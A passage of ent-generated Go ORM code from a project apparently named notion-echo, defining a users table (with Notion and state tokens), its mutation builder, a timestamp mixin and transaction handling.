option is enabled, ent migration will allocate a 1<<32 range // for the ids of each entity (table). // Note that this option cannot be applied on tables that already exist. WithGlobalUniqueID = schema.WithGlobalUniqueID // WithDropColumn sets the drop column option to the migration. // If this option is enabled, ent migration will drop old columns // that were used for both fields and edges. This defaults to false. WithDropColumn = schema.WithDropColumn // WithDropIndex sets the drop index option to the migration. // If this option is enabled, ent migration will drop old indexes // that were defined in the schema. This defaults to false. // Note that unique constraints are defined using `UNIQUE INDEX`, // and therefore, it's recommended to enable this option to get more // flexibility in the schema changes. WithDropIndex = schema.WithDropIndex // WithForeignKeys enables creating foreign-key in schema DDL. This defaults to true. WithForeignKeys = schema.WithForeignKeys ) // Schema is the API for creating, migrating and dropping a schema. type Schema struct { drv dialect.Driver } // NewSchema creates a new schema client. func NewSchema(drv dialect.Driver) *Schema { return &Schema{drv: drv} } // Create creates all schema resources. func (s *Schema) Create(ctx context.Context, opts ...schema.MigrateOption) error { return Create(ctx, s, Tables, opts...) } // Create creates all table resources using the given schema driver. func Create(ctx context.Context, s *Schema, tables []*schema.Table, opts ...schema.MigrateOption) error { migrate, err := schema.NewMigrate(s.drv, opts...) if err != nil { return fmt.Errorf("ent/migrate: %w", err) } return migrate.Create(ctx, tables...) } // WriteTo writes the schema changes to w instead of running them against the database. // // if err := client.Schema.WriteTo(context.Background(), os.Stdout); err != nil { // log.Fatal(err) // } func (s *Schema) WriteTo(ctx context.Context, w io.Writer, opts ...schema.MigrateOption) error { return Create(ctx, &Schema{drv: &schema.WriteDriver{Writer: w, Driver: s.drv}}, Tables, opts...) } ``` ## /adapters/ent/migrate/schema.go ```go path="/adapters/ent/migrate/schema.go" // Code generated by ent, DO NOT EDIT. package migrate import ( "entgo.io/ent/dialect/sql/schema" "entgo.io/ent/schema/field" ) var ( // UsersColumns holds the columns for the "users" table. UsersColumns = []*schema.Column{ {Name: "id", Type: field.TypeInt, Increment: true}, {Name: "created_at", Type: field.TypeTime, Default: "CURRENT_TIMESTAMP"}, {Name: "updated_at", Type: field.TypeTime, Default: "CURRENT_TIMESTAMP"}, {Name: "state_token", Type: field.TypeString, Default: ""}, {Name: "notion_token", Type: field.TypeString, Default: ""}, {Name: "default_page", Type: field.TypeString, Default: ""}, } // UsersTable holds the schema information for the "users" table. UsersTable = &schema.Table{ Name: "users", Columns: UsersColumns, PrimaryKey: []*schema.Column{UsersColumns[0]}, } // Tables holds all the tables in the schema. Tables = []*schema.Table{ UsersTable, } ) func init() { } ``` ## /adapters/ent/mixin/timestamp.go ```go path="/adapters/ent/mixin/timestamp.go" package mixin import ( "time" "entgo.io/ent" "entgo.io/ent/dialect/entsql" "entgo.io/ent/schema/field" "entgo.io/ent/schema/mixin" ) type TimeMixin struct { mixin.Schema } func (TimeMixin) Fields() []ent.Field { return []ent.Field{ field.Time("created_at"). Default(time.Now). Immutable(). Annotations( &entsql.Annotation{ Default: "CURRENT_TIMESTAMP", }, ), field.Time("updated_at"). Default(time.Now). UpdateDefault(time.Now). Annotations( &entsql.Annotation{ Default: "CURRENT_TIMESTAMP", }, ), } } ``` ## /adapters/ent/mutation.go ```go path="/adapters/ent/mutation.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "errors" "fmt" "sync" "time" "entgo.io/ent" "entgo.io/ent/dialect/sql" "github.com/notion-echo/adapters/ent/predicate" "github.com/notion-echo/adapters/ent/user" ) const ( // Operation types. OpCreate = ent.OpCreate OpDelete = ent.OpDelete OpDeleteOne = ent.OpDeleteOne OpUpdate = ent.OpUpdate OpUpdateOne = ent.OpUpdateOne // Node types. TypeUser = "User" ) // UserMutation represents an operation that mutates the User nodes in the graph. type UserMutation struct { config op Op typ string id *int created_at *time.Time updated_at *time.Time state_token *string notion_token *string default_page *string clearedFields map[string]struct{} done bool oldValue func(context.Context) (*User, error) predicates []predicate.User } var _ ent.Mutation = (*UserMutation)(nil) // userOption allows management of the mutation configuration using functional options. type userOption func(*UserMutation) // newUserMutation creates new mutation for the User entity. func newUserMutation(c config, op Op, opts ...userOption) *UserMutation { m := &UserMutation{ config: c, op: op, typ: TypeUser, clearedFields: make(map[string]struct{}), } for _, opt := range opts { opt(m) } return m } // withUserID sets the ID field of the mutation. func withUserID(id int) userOption { return func(m *UserMutation) { var ( err error once sync.Once value *User ) m.oldValue = func(ctx context.Context) (*User, error) { once.Do(func() { if m.done { err = errors.New("querying old values post mutation is not allowed") } else { value, err = m.Client().User.Get(ctx, id) } }) return value, err } m.id = &id } } // withUser sets the old User of the mutation. func withUser(node *User) userOption { return func(m *UserMutation) { m.oldValue = func(context.Context) (*User, error) { return node, nil } m.id = &node.ID } } // Client returns a new `ent.Client` from the mutation. If the mutation was // executed in a transaction (ent.Tx), a transactional client is returned. func (m UserMutation) Client() *Client { client := &Client{config: m.config} client.init() return client } // Tx returns an `ent.Tx` for mutations that were executed in transactions; // it returns an error otherwise. func (m UserMutation) Tx() (*Tx, error) { if _, ok := m.driver.(*txDriver); !ok { return nil, errors.New("ent: mutation is not running in a transaction") } tx := &Tx{config: m.config} tx.init() return tx, nil } // SetID sets the value of the id field. Note that this // operation is only accepted on creation of User entities. func (m *UserMutation) SetID(id int) { m.id = &id } // ID returns the ID value in the mutation. Note that the ID is only available // if it was provided to the builder or after it was returned from the database. func (m *UserMutation) ID() (id int, exists bool) { if m.id == nil { return } return *m.id, true } // IDs queries the database and returns the entity ids that match the mutation's predicate. // That means, if the mutation is applied within a transaction with an isolation level such // as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated // or updated by the mutation. func (m *UserMutation) IDs(ctx context.Context) ([]int, error) { switch { case m.op.Is(OpUpdateOne | OpDeleteOne): id, exists := m.ID() if exists { return []int{id}, nil } fallthrough case m.op.Is(OpUpdate | OpDelete): return m.Client().User.Query().Where(m.predicates...).IDs(ctx) default: return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op) } } // SetCreatedAt sets the "created_at" field. func (m *UserMutation) SetCreatedAt(t time.Time) { m.created_at = &t } // CreatedAt returns the value of the "created_at" field in the mutation. func (m *UserMutation) CreatedAt() (r time.Time, exists bool) { v := m.created_at if v == nil { return } return *v, true } // OldCreatedAt returns the old "created_at" field's value of the User entity. // If the User object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. func (m *UserMutation) OldCreatedAt(ctx context.Context) (v time.Time, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldCreatedAt is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { return v, errors.New("OldCreatedAt requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { return v, fmt.Errorf("querying old value for OldCreatedAt: %w", err) } return oldValue.CreatedAt, nil } // ResetCreatedAt resets all changes to the "created_at" field. func (m *UserMutation) ResetCreatedAt() { m.created_at = nil } // SetUpdatedAt sets the "updated_at" field. func (m *UserMutation) SetUpdatedAt(t time.Time) { m.updated_at = &t } // UpdatedAt returns the value of the "updated_at" field in the mutation. func (m *UserMutation) UpdatedAt() (r time.Time, exists bool) { v := m.updated_at if v == nil { return } return *v, true } // OldUpdatedAt returns the old "updated_at" field's value of the User entity. // If the User object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. func (m *UserMutation) OldUpdatedAt(ctx context.Context) (v time.Time, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldUpdatedAt is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { return v, errors.New("OldUpdatedAt requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { return v, fmt.Errorf("querying old value for OldUpdatedAt: %w", err) } return oldValue.UpdatedAt, nil } // ResetUpdatedAt resets all changes to the "updated_at" field. func (m *UserMutation) ResetUpdatedAt() { m.updated_at = nil } // SetStateToken sets the "state_token" field. func (m *UserMutation) SetStateToken(s string) { m.state_token = &s } // StateToken returns the value of the "state_token" field in the mutation. func (m *UserMutation) StateToken() (r string, exists bool) { v := m.state_token if v == nil { return } return *v, true } // OldStateToken returns the old "state_token" field's value of the User entity. // If the User object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. func (m *UserMutation) OldStateToken(ctx context.Context) (v string, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldStateToken is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { return v, errors.New("OldStateToken requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { return v, fmt.Errorf("querying old value for OldStateToken: %w", err) } return oldValue.StateToken, nil } // ResetStateToken resets all changes to the "state_token" field. func (m *UserMutation) ResetStateToken() { m.state_token = nil } // SetNotionToken sets the "notion_token" field. func (m *UserMutation) SetNotionToken(s string) { m.notion_token = &s } // NotionToken returns the value of the "notion_token" field in the mutation. func (m *UserMutation) NotionToken() (r string, exists bool) { v := m.notion_token if v == nil { return } return *v, true } // OldNotionToken returns the old "notion_token" field's value of the User entity. // If the User object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. func (m *UserMutation) OldNotionToken(ctx context.Context) (v string, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldNotionToken is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { return v, errors.New("OldNotionToken requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { return v, fmt.Errorf("querying old value for OldNotionToken: %w", err) } return oldValue.NotionToken, nil } // ResetNotionToken resets all changes to the "notion_token" field. func (m *UserMutation) ResetNotionToken() { m.notion_token = nil } // SetDefaultPage sets the "default_page" field. func (m *UserMutation) SetDefaultPage(s string) { m.default_page = &s } // DefaultPage returns the value of the "default_page" field in the mutation. func (m *UserMutation) DefaultPage() (r string, exists bool) { v := m.default_page if v == nil { return } return *v, true } // OldDefaultPage returns the old "default_page" field's value of the User entity. // If the User object wasn't provided to the builder, the object is fetched from the database. // An error is returned if the mutation operation is not UpdateOne, or the database query fails. func (m *UserMutation) OldDefaultPage(ctx context.Context) (v string, err error) { if !m.op.Is(OpUpdateOne) { return v, errors.New("OldDefaultPage is only allowed on UpdateOne operations") } if m.id == nil || m.oldValue == nil { return v, errors.New("OldDefaultPage requires an ID field in the mutation") } oldValue, err := m.oldValue(ctx) if err != nil { return v, fmt.Errorf("querying old value for OldDefaultPage: %w", err) } return oldValue.DefaultPage, nil } // ResetDefaultPage resets all changes to the "default_page" field. func (m *UserMutation) ResetDefaultPage() { m.default_page = nil } // Where appends a list predicates to the UserMutation builder. func (m *UserMutation) Where(ps ...predicate.User) { m.predicates = append(m.predicates, ps...) } // WhereP appends storage-level predicates to the UserMutation builder. Using this method, // users can use type-assertion to append predicates that do not depend on any generated package. func (m *UserMutation) WhereP(ps ...func(*sql.Selector)) { p := make([]predicate.User, len(ps)) for i := range ps { p[i] = ps[i] } m.Where(p...) } // Op returns the operation name. func (m *UserMutation) Op() Op { return m.op } // SetOp allows setting the mutation operation. func (m *UserMutation) SetOp(op Op) { m.op = op } // Type returns the node type of this mutation (User). func (m *UserMutation) Type() string { return m.typ } // Fields returns all fields that were changed during this mutation. Note that in // order to get all numeric fields that were incremented/decremented, call // AddedFields(). func (m *UserMutation) Fields() []string { fields := make([]string, 0, 5) if m.created_at != nil { fields = append(fields, user.FieldCreatedAt) } if m.updated_at != nil { fields = append(fields, user.FieldUpdatedAt) } if m.state_token != nil { fields = append(fields, user.FieldStateToken) } if m.notion_token != nil { fields = append(fields, user.FieldNotionToken) } if m.default_page != nil { fields = append(fields, user.FieldDefaultPage) } return fields } // Field returns the value of a field with the given name. The second boolean // return value indicates that this field was not set, or was not defined in the // schema. func (m *UserMutation) Field(name string) (ent.Value, bool) { switch name { case user.FieldCreatedAt: return m.CreatedAt() case user.FieldUpdatedAt: return m.UpdatedAt() case user.FieldStateToken: return m.StateToken() case user.FieldNotionToken: return m.NotionToken() case user.FieldDefaultPage: return m.DefaultPage() } return nil, false } // OldField returns the old value of the field from the database. An error is // returned if the mutation operation is not UpdateOne, or the query to the // database failed. func (m *UserMutation) OldField(ctx context.Context, name string) (ent.Value, error) { switch name { case user.FieldCreatedAt: return m.OldCreatedAt(ctx) case user.FieldUpdatedAt: return m.OldUpdatedAt(ctx) case user.FieldStateToken: return m.OldStateToken(ctx) case user.FieldNotionToken: return m.OldNotionToken(ctx) case user.FieldDefaultPage: return m.OldDefaultPage(ctx) } return nil, fmt.Errorf("unknown User field %s", name) } // SetField sets the value of a field with the given name. It returns an error if // the field is not defined in the schema, or if the type mismatched the field // type. func (m *UserMutation) SetField(name string, value ent.Value) error { switch name { case user.FieldCreatedAt: v, ok := value.(time.Time) if !ok { return fmt.Errorf("unexpected type %T for field %s", value, name) } m.SetCreatedAt(v) return nil case user.FieldUpdatedAt: v, ok := value.(time.Time) if !ok { return fmt.Errorf("unexpected type %T for field %s", value, name) } m.SetUpdatedAt(v) return nil case user.FieldStateToken: v, ok := value.(string) if !ok { return fmt.Errorf("unexpected type %T for field %s", value, name) } m.SetStateToken(v) return nil case user.FieldNotionToken: v, ok := value.(string) if !ok { return fmt.Errorf("unexpected type %T for field %s", value, name) } m.SetNotionToken(v) return nil case user.FieldDefaultPage: v, ok := value.(string) if !ok { return fmt.Errorf("unexpected type %T for field %s", value, name) } m.SetDefaultPage(v) return nil } return fmt.Errorf("unknown User field %s", name) } // AddedFields returns all numeric fields that were incremented/decremented during // this mutation. func (m *UserMutation) AddedFields() []string { return nil } // AddedField returns the numeric value that was incremented/decremented on a field // with the given name. The second boolean return value indicates that this field // was not set, or was not defined in the schema. func (m *UserMutation) AddedField(name string) (ent.Value, bool) { return nil, false } // AddField adds the value to the field with the given name. It returns an error if // the field is not defined in the schema, or if the type mismatched the field // type. func (m *UserMutation) AddField(name string, value ent.Value) error { switch name { } return fmt.Errorf("unknown User numeric field %s", name) } // ClearedFields returns all nullable fields that were cleared during this // mutation. func (m *UserMutation) ClearedFields() []string { return nil } // FieldCleared returns a boolean indicating if a field with the given name was // cleared in this mutation. func (m *UserMutation) FieldCleared(name string) bool { _, ok := m.clearedFields[name] return ok } // ClearField clears the value of the field with the given name. It returns an // error if the field is not defined in the schema. func (m *UserMutation) ClearField(name string) error { return fmt.Errorf("unknown User nullable field %s", name) } // ResetField resets all changes in the mutation for the field with the given name. // It returns an error if the field is not defined in the schema. func (m *UserMutation) ResetField(name string) error { switch name { case user.FieldCreatedAt: m.ResetCreatedAt() return nil case user.FieldUpdatedAt: m.ResetUpdatedAt() return nil case user.FieldStateToken: m.ResetStateToken() return nil case user.FieldNotionToken: m.ResetNotionToken() return nil case user.FieldDefaultPage: m.ResetDefaultPage() return nil } return fmt.Errorf("unknown User field %s", name) } // AddedEdges returns all edge names that were set/added in this mutation. func (m *UserMutation) AddedEdges() []string { edges := make([]string, 0, 0) return edges } // AddedIDs returns all IDs (to other nodes) that were added for the given edge // name in this mutation. func (m *UserMutation) AddedIDs(name string) []ent.Value { return nil } // RemovedEdges returns all edge names that were removed in this mutation. func (m *UserMutation) RemovedEdges() []string { edges := make([]string, 0, 0) return edges } // RemovedIDs returns all IDs (to other nodes) that were removed for the edge with // the given name in this mutation. func (m *UserMutation) RemovedIDs(name string) []ent.Value { return nil } // ClearedEdges returns all edge names that were cleared in this mutation. func (m *UserMutation) ClearedEdges() []string { edges := make([]string, 0, 0) return edges } // EdgeCleared returns a boolean which indicates if the edge with the given name // was cleared in this mutation. func (m *UserMutation) EdgeCleared(name string) bool { return false } // ClearEdge clears the value of the edge with the given name. It returns an error // if that edge is not defined in the schema. func (m *UserMutation) ClearEdge(name string) error { return fmt.Errorf("unknown User unique edge %s", name) } // ResetEdge resets all changes to the edge with the given name in this mutation. // It returns an error if the edge is not defined in the schema. func (m *UserMutation) ResetEdge(name string) error { return fmt.Errorf("unknown User edge %s", name) } ``` ## /adapters/ent/predicate/predicate.go ```go path="/adapters/ent/predicate/predicate.go" // Code generated by ent, DO NOT EDIT. package predicate import ( "entgo.io/ent/dialect/sql" ) // User is the predicate function for user builders. type User func(*sql.Selector) ``` ## /adapters/ent/runtime.go ```go path="/adapters/ent/runtime.go" // Code generated by ent, DO NOT EDIT. package ent import ( "time" "github.com/notion-echo/adapters/ent/schema" "github.com/notion-echo/adapters/ent/user" ) // The init function reads all schema descriptors with runtime code // (default values, validators, hooks and policies) and stitches it // to their package variables. func init() { userMixin := schema.User{}.Mixin() userMixinFields0 := userMixin[0].Fields() _ = userMixinFields0 userFields := schema.User{}.Fields() _ = userFields // userDescCreatedAt is the schema descriptor for created_at field. userDescCreatedAt := userMixinFields0[0].Descriptor() // user.DefaultCreatedAt holds the default value on creation for the created_at field. user.DefaultCreatedAt = userDescCreatedAt.Default.(func() time.Time) // userDescUpdatedAt is the schema descriptor for updated_at field. userDescUpdatedAt := userMixinFields0[1].Descriptor() // user.DefaultUpdatedAt holds the default value on creation for the updated_at field. user.DefaultUpdatedAt = userDescUpdatedAt.Default.(func() time.Time) // user.UpdateDefaultUpdatedAt holds the default value on update for the updated_at field. user.UpdateDefaultUpdatedAt = userDescUpdatedAt.UpdateDefault.(func() time.Time) // userDescStateToken is the schema descriptor for state_token field. userDescStateToken := userFields[1].Descriptor() // user.DefaultStateToken holds the default value on creation for the state_token field. user.DefaultStateToken = userDescStateToken.Default.(string) // userDescNotionToken is the schema descriptor for notion_token field. userDescNotionToken := userFields[2].Descriptor() // user.DefaultNotionToken holds the default value on creation for the notion_token field. user.DefaultNotionToken = userDescNotionToken.Default.(string) // userDescDefaultPage is the schema descriptor for default_page field. userDescDefaultPage := userFields[3].Descriptor() // user.DefaultDefaultPage holds the default value on creation for the default_page field. user.DefaultDefaultPage = userDescDefaultPage.Default.(string) } ``` ## /adapters/ent/runtime/runtime.go ```go path="/adapters/ent/runtime/runtime.go" // Code generated by ent, DO NOT EDIT. package runtime // The schema-stitching logic is generated in github.com/notion-echo/adapters/ent/runtime.go const ( Version = "v0.13.1" // Version of ent codegen. Sum = "h1:uD8QwN1h6SNphdCCzmkMN3feSUzNnVvV/WIkHKMbzOE=" // Sum of ent codegen. ) ``` ## /adapters/ent/schema/user.go ```go path="/adapters/ent/schema/user.go" package schema import ( "entgo.io/ent" "entgo.io/ent/schema/field" mixin "github.com/notion-echo/adapters/ent/mixin" ) // User holds the schema definition for the User entity. type User struct { ent.Schema } // Fields of the User. func (User) Fields() []ent.Field { return []ent.Field{ field.Int("id"), field.String("state_token"). Default(""), field.String("notion_token"). Default(""), field.String("default_page"). Default(""), } } func (User) Mixin() []ent.Mixin { return []ent.Mixin{ mixin.TimeMixin{}, } } // Edges of the User. func (User) Edges() []ent.Edge { return nil } ``` ## /adapters/ent/tx.go ```go path="/adapters/ent/tx.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "sync" "entgo.io/ent/dialect" ) // Tx is a transactional client that is created by calling Client.Tx(). type Tx struct { config // User is the client for interacting with the User builders. User *UserClient // lazily loaded. client *Client clientOnce sync.Once // ctx lives for the life of the transaction. It is // the same context used by the underlying connection. ctx context.Context } type ( // Committer is the interface that wraps the Commit method. Committer interface { Commit(context.Context, *Tx) error } // The CommitFunc type is an adapter to allow the use of ordinary // function as a Committer. If f is a function with the appropriate // signature, CommitFunc(f) is a Committer that calls f. CommitFunc func(context.Context, *Tx) error // CommitHook defines the "commit middleware". A function that gets a Committer // and returns a Committer. For example: // // hook := func(next ent.Committer) ent.Committer { // return ent.CommitFunc(func(ctx context.Context, tx *ent.Tx) error { // // Do some stuff before. // if err := next.Commit(ctx, tx); err != nil { // return err // } // // Do some stuff after. // return nil // }) // } // CommitHook func(Committer) Committer ) // Commit calls f(ctx, m). func (f CommitFunc) Commit(ctx context.Context, tx *Tx) error { return f(ctx, tx) } // Commit commits the transaction. func (tx *Tx) Commit() error { txDriver := tx.config.driver.(*txDriver) var fn Committer = CommitFunc(func(context.Context, *Tx) error { return txDriver.tx.Commit() }) txDriver.mu.Lock() hooks := append([]CommitHook(nil), txDriver.onCommit...) txDriver.mu.Unlock() for i := len(hooks) - 1; i >= 0; i-- { fn = hooks[i](fn) } return fn.Commit(tx.ctx, tx) } // OnCommit adds a hook to call on commit. func (tx *Tx) OnCommit(f CommitHook) { txDriver := tx.config.driver.(*txDriver) txDriver.mu.Lock() txDriver.onCommit = append(txDriver.onCommit, f) txDriver.mu.Unlock() } type ( // Rollbacker is the interface that wraps the Rollback method. Rollbacker interface { Rollback(context.Context, *Tx) error } // The RollbackFunc type is an adapter to allow the use of ordinary // function as a Rollbacker. If f is a function with the appropriate // signature, RollbackFunc(f) is a Rollbacker that calls f. RollbackFunc func(context.Context, *Tx) error // RollbackHook defines the "rollback middleware". A function that gets a Rollbacker // and returns a Rollbacker. For example: // // hook := func(next ent.Rollbacker) ent.Rollbacker { // return ent.RollbackFunc(func(ctx context.Context, tx *ent.Tx) error { // // Do some stuff before. // if err := next.Rollback(ctx, tx); err != nil { // return err // } // // Do some stuff after. // return nil // }) // } // RollbackHook func(Rollbacker) Rollbacker ) // Rollback calls f(ctx, m). func (f RollbackFunc) Rollback(ctx context.Context, tx *Tx) error { return f(ctx, tx) } // Rollback rollbacks the transaction. func (tx *Tx) Rollback() error { txDriver := tx.config.driver.(*txDriver) var fn Rollbacker = RollbackFunc(func(context.Context, *Tx) error { return txDriver.tx.Rollback() }) txDriver.mu.Lock() hooks := append([]RollbackHook(nil), txDriver.onRollback...) txDriver.mu.Unlock() for i := len(hooks) - 1; i >= 0; i-- { fn = hooks[i](fn) } return fn.Rollback(tx.ctx, tx) } // OnRollback adds a hook to call on rollback. func (tx *Tx) OnRollback(f RollbackHook) { txDriver := tx.config.driver.(*txDriver) txDriver.mu.Lock() txDriver.onRollback = append(txDriver.onRollback, f) txDriver.mu.Unlock() } // Client returns a Client that binds to current transaction. func (tx *Tx) Client() *Client { tx.clientOnce.Do(func() { tx.client = &Client{config: tx.config} tx.client.init() }) return tx.client } func (tx *Tx) init() { tx.User = NewUserClient(tx.config) } // txDriver wraps the given dialect.Tx with a nop dialect.Driver implementation. // The idea is to support transactions without adding any extra code to the builders. // When a builder calls to driver.Tx(), it gets the same dialect.Tx instance. // Commit and Rollback are nop for the internal builders and the user must call one // of them in order to commit or rollback the transaction. // // If a closed transaction is embedded in one of the generated entities, and the entity // applies a query, for example: User.QueryXXX(), the query will be executed // through the driver which created this transaction. // // Note that txDriver is not goroutine safe. type txDriver struct { // the driver we started the transaction from. drv dialect.Driver // tx is the underlying transaction. tx dialect.Tx // completion hooks. mu sync.Mutex onCommit []CommitHook onRollback []RollbackHook } // newTx creates a new transactional driver. func newTx(ctx context.Context, drv dialect.Driver) (*txDriver, error) { tx, err := drv.Tx(ctx) if err != nil { return nil, err } return &txDriver{tx: tx, drv: drv}, nil } // Tx returns the transaction wrapper (txDriver) to avoid Commit or Rollback calls // from the internal builders. Should be called only by the internal builders. func (tx *txDriver) Tx(context.Context) (dialect.Tx, error) { return tx, nil } // Dialect returns the dialect of the driver we started the transaction from. func (tx *txDriver) Dialect() string { return tx.drv.Dialect() } // Close is a nop close. func (*txDriver) Close() error { return nil } // Commit is a nop commit for the internal builders. // User must call `Tx.Commit` in order to commit the transaction. func (*txDriver) Commit() error { return nil } // Rollback is a nop rollback for the internal builders. // User must call `Tx.Rollback` in order to rollback the transaction. func (*txDriver) Rollback() error { return nil } // Exec calls tx.Exec. func (tx *txDriver) Exec(ctx context.Context, query string, args, v any) error { return tx.tx.Exec(ctx, query, args, v) } // Query calls tx.Query. func (tx *txDriver) Query(ctx context.Context, query string, args, v any) error { return tx.tx.Query(ctx, query, args, v) } var _ dialect.Driver = (*txDriver)(nil) ``` ## /adapters/ent/user.go ```go path="/adapters/ent/user.go" // Code generated by ent, DO NOT EDIT. package ent import ( "fmt" "strings" "time" "entgo.io/ent" "entgo.io/ent/dialect/sql" "github.com/notion-echo/adapters/ent/user" ) // User is the model entity for the User schema. type User struct { config `json:"-"` // ID of the ent. ID int `json:"id,omitempty"` // CreatedAt holds the value of the "created_at" field. CreatedAt time.Time `json:"created_at,omitempty"` // UpdatedAt holds the value of the "updated_at" field. UpdatedAt time.Time `json:"updated_at,omitempty"` // StateToken holds the value of the "state_token" field. StateToken string `json:"state_token,omitempty"` // NotionToken holds the value of the "notion_token" field. NotionToken string `json:"notion_token,omitempty"` // DefaultPage holds the value of the "default_page" field. DefaultPage string `json:"default_page,omitempty"` selectValues sql.SelectValues } // scanValues returns the types for scanning values from sql.Rows. func (*User) scanValues(columns []string) ([]any, error) { values := make([]any, len(columns)) for i := range columns { switch columns[i] { case user.FieldID: values[i] = new(sql.NullInt64) case user.FieldStateToken, user.FieldNotionToken, user.FieldDefaultPage: values[i] = new(sql.NullString) case user.FieldCreatedAt, user.FieldUpdatedAt: values[i] = new(sql.NullTime) default: values[i] = new(sql.UnknownType) } } return values, nil } // assignValues assigns the values that were returned from sql.Rows (after scanning) // to the User fields. func (u *User) assignValues(columns []string, values []any) error { if m, n := len(values), len(columns); m < n { return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) } for i := range columns { switch columns[i] { case user.FieldID: value, ok := values[i].(*sql.NullInt64) if !ok { return fmt.Errorf("unexpected type %T for field id", value) } u.ID = int(value.Int64) case user.FieldCreatedAt: if value, ok := values[i].(*sql.NullTime); !ok { return fmt.Errorf("unexpected type %T for field created_at", values[i]) } else if value.Valid { u.CreatedAt = value.Time } case user.FieldUpdatedAt: if value, ok := values[i].(*sql.NullTime); !ok { return fmt.Errorf("unexpected type %T for field updated_at", values[i]) } else if value.Valid { u.UpdatedAt = value.Time } case user.FieldStateToken: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field state_token", values[i]) } else if value.Valid { u.StateToken = value.String } case user.FieldNotionToken: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field notion_token", values[i]) } else if value.Valid { u.NotionToken = value.String } case user.FieldDefaultPage: if value, ok := values[i].(*sql.NullString); !ok { return fmt.Errorf("unexpected type %T for field default_page", values[i]) } else if value.Valid { u.DefaultPage = value.String } default: u.selectValues.Set(columns[i], values[i]) } } return nil } // Value returns the ent.Value that was dynamically selected and assigned to the User. // This includes values selected through modifiers, order, etc. func (u *User) Value(name string) (ent.Value, error) { return u.selectValues.Get(name) } // Update returns a builder for updating this User. // Note that you need to call User.Unwrap() before calling this method if this User // was returned from a transaction, and the transaction was committed or rolled back. func (u *User) Update() *UserUpdateOne { return NewUserClient(u.config).UpdateOne(u) } // Unwrap unwraps the User entity that was returned from a transaction after it was closed, // so that all future queries will be executed through the driver which created the transaction. func (u *User) Unwrap() *User { _tx, ok := u.config.driver.(*txDriver) if !ok { panic("ent: User is not a transactional entity") } u.config.driver = _tx.drv return u } // String implements the fmt.Stringer. func (u *User) String() string { var builder strings.Builder builder.WriteString("User(") builder.WriteString(fmt.Sprintf("id=%v, ", u.ID)) builder.WriteString("created_at=") builder.WriteString(u.CreatedAt.Format(time.ANSIC)) builder.WriteString(", ") builder.WriteString("updated_at=") builder.WriteString(u.UpdatedAt.Format(time.ANSIC)) builder.WriteString(", ") builder.WriteString("state_token=") builder.WriteString(u.StateToken) builder.WriteString(", ") builder.WriteString("notion_token=") builder.WriteString(u.NotionToken) builder.WriteString(", ") builder.WriteString("default_page=") builder.WriteString(u.DefaultPage) builder.WriteByte(')') return builder.String() } // Users is a parsable slice of User. type Users []*User ``` ## /adapters/ent/user/user.go ```go path="/adapters/ent/user/user.go" // Code generated by ent, DO NOT EDIT. package user import ( "time" "entgo.io/ent/dialect/sql" ) const ( // Label holds the string label denoting the user type in the database. Label = "user" // FieldID holds the string denoting the id field in the database. FieldID = "id" // FieldCreatedAt holds the string denoting the created_at field in the database. FieldCreatedAt = "created_at" // FieldUpdatedAt holds the string denoting the updated_at field in the database. FieldUpdatedAt = "updated_at" // FieldStateToken holds the string denoting the state_token field in the database. FieldStateToken = "state_token" // FieldNotionToken holds the string denoting the notion_token field in the database. FieldNotionToken = "notion_token" // FieldDefaultPage holds the string denoting the default_page field in the database. FieldDefaultPage = "default_page" // Table holds the table name of the user in the database. Table = "users" ) // Columns holds all SQL columns for user fields. var Columns = []string{ FieldID, FieldCreatedAt, FieldUpdatedAt, FieldStateToken, FieldNotionToken, FieldDefaultPage, } // ValidColumn reports if the column name is valid (part of the table columns). func ValidColumn(column string) bool { for i := range Columns { if column == Columns[i] { return true } } return false } var ( // DefaultCreatedAt holds the default value on creation for the "created_at" field. DefaultCreatedAt func() time.Time // DefaultUpdatedAt holds the default value on creation for the "updated_at" field. DefaultUpdatedAt func() time.Time // UpdateDefaultUpdatedAt holds the default value on update for the "updated_at" field. UpdateDefaultUpdatedAt func() time.Time // DefaultStateToken holds the default value on creation for the "state_token" field. DefaultStateToken string // DefaultNotionToken holds the default value on creation for the "notion_token" field. DefaultNotionToken string // DefaultDefaultPage holds the default value on creation for the "default_page" field. DefaultDefaultPage string ) // OrderOption defines the ordering options for the User queries. type OrderOption func(*sql.Selector) // ByID orders the results by the id field. func ByID(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldID, opts...).ToFunc() } // ByCreatedAt orders the results by the created_at field. func ByCreatedAt(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldCreatedAt, opts...).ToFunc() } // ByUpdatedAt orders the results by the updated_at field. func ByUpdatedAt(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldUpdatedAt, opts...).ToFunc() } // ByStateToken orders the results by the state_token field. func ByStateToken(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldStateToken, opts...).ToFunc() } // ByNotionToken orders the results by the notion_token field. func ByNotionToken(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldNotionToken, 